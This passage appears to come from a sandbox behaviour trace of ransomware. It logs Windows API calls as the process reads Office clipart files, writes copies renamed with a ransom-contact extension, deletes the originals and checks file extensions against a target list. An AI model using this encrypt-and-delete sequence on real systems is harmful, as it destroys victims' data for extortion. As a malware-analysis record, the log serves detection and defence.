0x4dc [0176.008] GetLastError () returned 0x0 [0176.008] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d40, lpOverlapped=0x0) returned 1 [0176.094] WriteFile (in: hFile=0x4dc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0176.095] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.095] WriteFile (in: hFile=0x4dc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.095] SetEndOfFile (hFile=0x4dc) returned 1 [0176.096] CloseHandle (hObject=0x4dc) returned 1 [0176.096] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.096] SetEndOfFile (hFile=0x51c) returned 1 [0176.098] CloseHandle (hObject=0x51c) returned 1 [0176.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0176.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.100] lstrlenW (lpString=".doc") returned 4 [0176.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.100] lstrlenW (lpString=".docx") returned 5 [0176.100] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.100] lstrlenW (lpString=".pdf") returned 4 [0176.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.100] lstrlenW (lpString=".xls") returned 4 [0176.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.100] lstrlenW (lpString=".xlsx") returned 5 [0176.100] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.100] lstrlenW (lpString=".ppt") returned 4 [0176.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.100] lstrlenW (lpString=".zip") returned 4 [0176.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.100] lstrlenW (lpString=".rar") returned 4 [0176.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.100] lstrlenW (lpString=".bz2") returned 4 [0176.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.100] lstrlenW (lpString=".7z") returned 3 [0176.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.100] lstrlenW (lpString=".dbf") returned 4 [0176.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.100] lstrlenW (lpString=".1cd") returned 4 [0176.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.101] lstrlenW (lpString=".jpg") returned 4 [0176.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.101] lstrlenW (lpString=".doc") returned 4 [0176.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString=".docx") returned 5 [0176.101] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.101] lstrlenW (lpString=".pdf") returned 4 [0176.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString=".xls") returned 4 [0176.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.101] lstrlenW (lpString=".xlsx") returned 5 [0176.101] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.101] lstrlenW (lpString=".ppt") returned 4 [0176.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.101] lstrlenW (lpString=".zip") returned 4 [0176.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.101] lstrlenW (lpString=".rar") returned 4 [0176.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString=".bz2") returned 4 [0176.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString=".7z") returned 3 [0176.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.101] lstrlenW (lpString=".dbf") returned 4 [0176.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.101] lstrlenW (lpString=".1cd") returned 4 [0176.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0176.102] lstrlenW (lpString=".jpg") returned 4 [0176.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.102] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.102] lstrlenW (lpString="J0105378.WMF") returned 12 [0176.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.313] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4964) returned 1 [0176.313] CloseHandle (hObject=0x514) returned 1 [0176.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0176.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.314] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.314] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.314] GetLastError () returned 0x0 [0176.314] ReadFile (in: hFile=0x514, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1364, lpOverlapped=0x0) returned 1 [0176.363] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1370, lpOverlapped=0x0) returned 1 [0176.364] ReadFile (in: hFile=0x514, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.364] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.365] SetEndOfFile (hFile=0x4e8) returned 1 [0176.365] CloseHandle (hObject=0x4e8) returned 1 [0176.365] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.365] SetEndOfFile (hFile=0x514) returned 1 [0176.370] CloseHandle (hObject=0x514) returned 1 [0176.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.375] lstrlenW (lpString=".doc") returned 4 [0176.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.375] lstrlenW (lpString=".docx") returned 5 [0176.375] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.375] lstrlenW (lpString=".pdf") returned 4 [0176.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.375] lstrlenW (lpString=".xls") returned 4 [0176.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.375] lstrlenW (lpString=".xlsx") returned 5 [0176.375] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.375] lstrlenW (lpString=".ppt") returned 4 [0176.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.375] lstrlenW (lpString=".zip") returned 4 [0176.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.376] lstrlenW (lpString=".rar") returned 4 [0176.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString=".bz2") returned 4 [0176.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString=".7z") returned 3 [0176.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.376] lstrlenW (lpString=".dbf") returned 4 [0176.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.376] lstrlenW (lpString=".1cd") returned 4 [0176.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.376] lstrlenW (lpString=".jpg") returned 4 [0176.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.376] lstrlenW (lpString=".doc") returned 4 [0176.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString=".docx") returned 5 [0176.376] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.376] lstrlenW (lpString=".pdf") returned 4 [0176.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString=".xls") returned 4 [0176.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.376] lstrlenW (lpString=".xlsx") returned 5 [0176.376] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.376] lstrlenW (lpString=".ppt") returned 4 [0176.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.376] lstrlenW (lpString=".zip") returned 4 [0176.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.376] lstrlenW (lpString=".rar") returned 4 [0176.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.376] lstrlenW (lpString=".bz2") returned 4 [0176.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.377] lstrlenW (lpString=".7z") returned 3 [0176.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.377] lstrlenW (lpString=".dbf") returned 4 [0176.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.377] lstrlenW (lpString=".1cd") returned 4 [0176.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0176.377] lstrlenW (lpString=".jpg") returned 4 [0176.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.377] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.377] lstrlenW (lpString="J0105388.WMF") returned 12 [0176.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.458] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=8252) returned 1 [0176.458] CloseHandle (hObject=0x4dc) returned 1 [0176.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0176.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0176.660] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.660] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0176.697] GetLastError () returned 0x0 [0176.697] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x203c, lpOverlapped=0x0) returned 1 [0176.752] WriteFile (in: hFile=0x454, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2040, lpOverlapped=0x0) returned 1 [0176.753] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.754] WriteFile (in: hFile=0x454, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.754] SetEndOfFile (hFile=0x454) returned 1 [0176.754] CloseHandle (hObject=0x454) returned 1 [0176.754] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.754] SetEndOfFile (hFile=0x3ac) returned 1 [0176.756] CloseHandle (hObject=0x3ac) returned 1 [0176.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0176.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.758] lstrlenW (lpString=".doc") returned 4 [0176.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString=".docx") returned 5 [0176.758] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.758] lstrlenW (lpString=".pdf") returned 4 [0176.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString=".xls") returned 4 [0176.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.758] lstrlenW (lpString=".xlsx") returned 5 [0176.758] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.758] lstrlenW (lpString=".ppt") returned 4 [0176.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.758] lstrlenW (lpString=".zip") returned 4 [0176.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.758] lstrlenW (lpString=".rar") returned 4 [0176.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString=".bz2") returned 4 [0176.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString=".7z") returned 3 [0176.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.758] lstrlenW (lpString=".dbf") returned 4 [0176.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.758] lstrlenW (lpString=".1cd") returned 4 [0176.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.758] lstrlenW (lpString=".jpg") returned 4 [0176.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.759] lstrlenW (lpString=".doc") returned 4 [0176.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.759] lstrlenW (lpString=".docx") returned 5 [0176.759] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.759] lstrlenW (lpString=".pdf") returned 4 [0176.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.759] lstrlenW (lpString=".xls") returned 4 [0176.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.759] lstrlenW (lpString=".xlsx") returned 5 [0176.759] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.759] lstrlenW (lpString=".ppt") returned 4 [0176.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.759] lstrlenW (lpString=".zip") returned 4 [0176.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.759] lstrlenW (lpString=".rar") returned 4 [0176.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.759] lstrlenW (lpString=".bz2") returned 4 [0176.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.759] lstrlenW (lpString=".7z") returned 3 [0176.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.759] lstrlenW (lpString=".dbf") returned 4 [0176.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.759] lstrlenW (lpString=".1cd") returned 4 [0176.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0176.759] lstrlenW (lpString=".jpg") returned 4 [0176.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.759] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.760] lstrlenW (lpString="J0105414.WMF") returned 12 [0176.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.909] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6244) returned 1 [0176.909] CloseHandle (hObject=0x550) returned 1 [0176.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0176.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.926] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.926] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.976] GetLastError () returned 0x0 [0176.976] ReadFile (in: hFile=0x550, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1864, lpOverlapped=0x0) returned 1 [0176.992] WriteFile (in: hFile=0x51c, lpBuffer=0x3a40020*, 